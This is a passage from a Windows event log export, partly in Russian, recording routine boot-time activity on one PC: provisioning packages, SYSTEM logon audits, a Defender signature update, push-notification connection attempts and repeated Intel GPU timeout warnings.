{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.093\t20\tApplying package 'Power.Settings.Processor.Amd.ppkg' ID: {fc01e91f-914c-45af-9d7c-0b2e5fbedf63}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.099\t20\tApplying package 'Power.Settings.Processor.Intel.ppkg' ID: {fc01e91f-914c-45af-9d7c-0b2e5fbedf64}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.104\t20\tApplying package 'Power.Settings.Processor.ppkg' ID: {fc01e91f-914c-45af-9d7c-0b2e5fbedf62}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.109\t20\tApplying package 'Power.Settings.Sleep.ppkg' ID: {3742e5e8-6d9d-473b-99a6-8ecc0f43548a}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.114\t20\tApplying package 'SecureStart.Settings.ppkg' ID: {eb7d7f2f-3b77-4b87-b301-fd0d336f709a}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.122\t20\tApplying package 'Microsoft.Windows.Cosa.Desktop.Client.ppkg' ID: {c8a326e4-f518-4f14-b543-97a57e1a975e}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.989\t1\tTenant P-ARIA-4bb4d6f7cafc4e9292f972dca2dcde42-bd019ee8-e59c-4b0f-a02c-84e72157a3ef-7485 has been registered for telemetry usage.\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:39:08.999\t1\tTenant P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230 has been registered for telemetry usage.\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:39:13.004\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:28.578\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:29.543\t10016\t\"The \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f permission settings do not grant \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0410\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u044f permission for the COM Server application with CLSID \n{9EA82395-E31B-41CA-8DF7-EC1CEE7194DF}\n and APPID \n{2ED83BAA-B2FD-43B1-99BF-E6149C622692}\n to the user NT AUTHORITY\\NETWORK SERVICE SID (S-1-5-20) from address LocalHost (\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c LRPC) running in the application container \u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e SID (\u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e). This security permission can be modified using the Component Services administrative tool.\"\tWarning\tSystem\tMicrosoft-Windows-DistributedCOM\n05.09.2026 08:39:31.138\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:31.662\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:39:31.662\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:39:32.031\t16\tCounter 11 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:39:32.031\t16\tCounter 6 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:39:32.916\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:33.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:33.554\t26\tWindows Update successfully found 1 updates.\tInformation\tMicrosoft-Windows-WindowsUpdateClient/Operational\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:39:33.554\t26\tWindows Update successfully found 0 updates.\tInformation\tMicrosoft-Windows-WindowsUpdateClient/Operational\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:39:33.554\t44\tWindows Update started downloading an update.\tInformation\tSystem\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:39:33.554\t41\tAn update was downloaded.\tInformation\tMicrosoft-Windows-WindowsUpdateClient/Operational\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:39:33.555\t43\tInstallation Started: Windows has started installing the following update: \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0443\u0433\u0440\u043e\u0437 \u0434\u043b\u044f Microsoft Defender Antivirus \u2014 KB2267602 (\u0432\u0435\u0440\u0441\u0438\u044f 1.459.55.0) \u2014 \u0410\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u0430\u043d\u0430\u043b (\u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0432\u044b\u043f\u0443\u0441\u043a)\tInformation\tSystem\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:39:33.586\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:34.111\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.111\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.111\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.112\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.112\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.112\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.127\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.130\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.135\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.175\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.189\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.189\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.257\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:37.401\t800\tMaintenance state changed to 3 (Last Run: \u200e05.\u200e09.\u200e2026 8:39).\tInformation\tMicrosoft-Windows-TaskScheduler/Maintenance\tMicrosoft-Windows-TaskScheduler\n05.09.2026 08:39:37.447\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:39:37.447\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:39:37.938\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:38.489\t800\tMaintenance state changed to 1 (Last Run: \u200e05.\u200e09.\u200e2026 8:39).\tInformation\tMicrosoft-Windows-TaskScheduler/Maintenance\tMicrosoft-Windows-TaskScheduler\n05.09.2026 08:39:38.496\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:39.348\t2000\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender security intelligence version updated.\n \tCurrent security intelligence Version: 1.459.55.0\n \tPrevious security intelligence Version: 1.459.28.0\n \tSecurity intelligence Type: \u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\n \tUpdate Type: \u0420\u0430\u0437\u043d\u043e\u0441\u0442\u043d\u043e\u0435\n \tUser: NT AUTHORITY\\\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n \tCurrent Engine Version: 1.1.26080.3\n \tPrevious Engine Version: 1.1.26080.3\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:39:39.348\t2000\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender security intelligence version updated.\n \tCurrent security intelligence Version: 1.459.55.0\n \tPrevious security intelligence Version: 1.459.28.0\n \tSecurity intelligence Type: \u0410\u043d\u0442\u0438\u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\n \tUpdate Type: \u0420\u0430\u0437\u043d\u043e\u0441\u0442\u043d\u043e\u0435\n \tUser: NT AUTHORITY\\\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n \tCurrent Engine Version: 1.1.26080.3\n \tPrevious Engine Version: 1.1.26080.3\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:39:39.454\t19\tInstallation Successful: Windows successfully installed the following update: \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0443\u0433\u0440\u043e\u0437 \u0434\u043b\u044f Microsoft Defender Antivirus \u2014 KB2267602 (\u0432\u0435\u0440\u0441\u0438\u044f 1.459.55.0) \u2014 \u0410\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u0430\u043d\u0430\u043b (\u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0432\u044b\u043f\u0443\u0441\u043a)\tInformation\tSystem\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:39:39.495\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:39.717\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:39.813\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\CoreService\\WdConfigHash = 0xCB77E2D1\n \tNew value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\CoreService\\WdConfigHash = 0x5855D937\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:39:39.937\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:40.159\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:40.381\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:40.605\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:40.718\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:40.939\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:41.159\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:41.374\t15\tUpdated Windows Defender status successfully to SECURITY_PRODUCT_STATE_ON.\tInformation\tApplication\tSecurityCenter\n05.09.2026 08:39:41.380\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:41.605\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:41.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:42.159\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:42.382\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:42.606\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:42.717\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:42.942\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:42.982\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:42.983\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:42.996\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:42.996\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:43.162\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:43.388\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:43.641\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:43.839\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:44.057\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:44.279\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:44.502\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:44.722\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:44.853\t3056\tTile Notification are being cleared for MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets - informed session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:44.943\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:45.176\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:45.389\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:45.615\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:45.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:46.058\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be 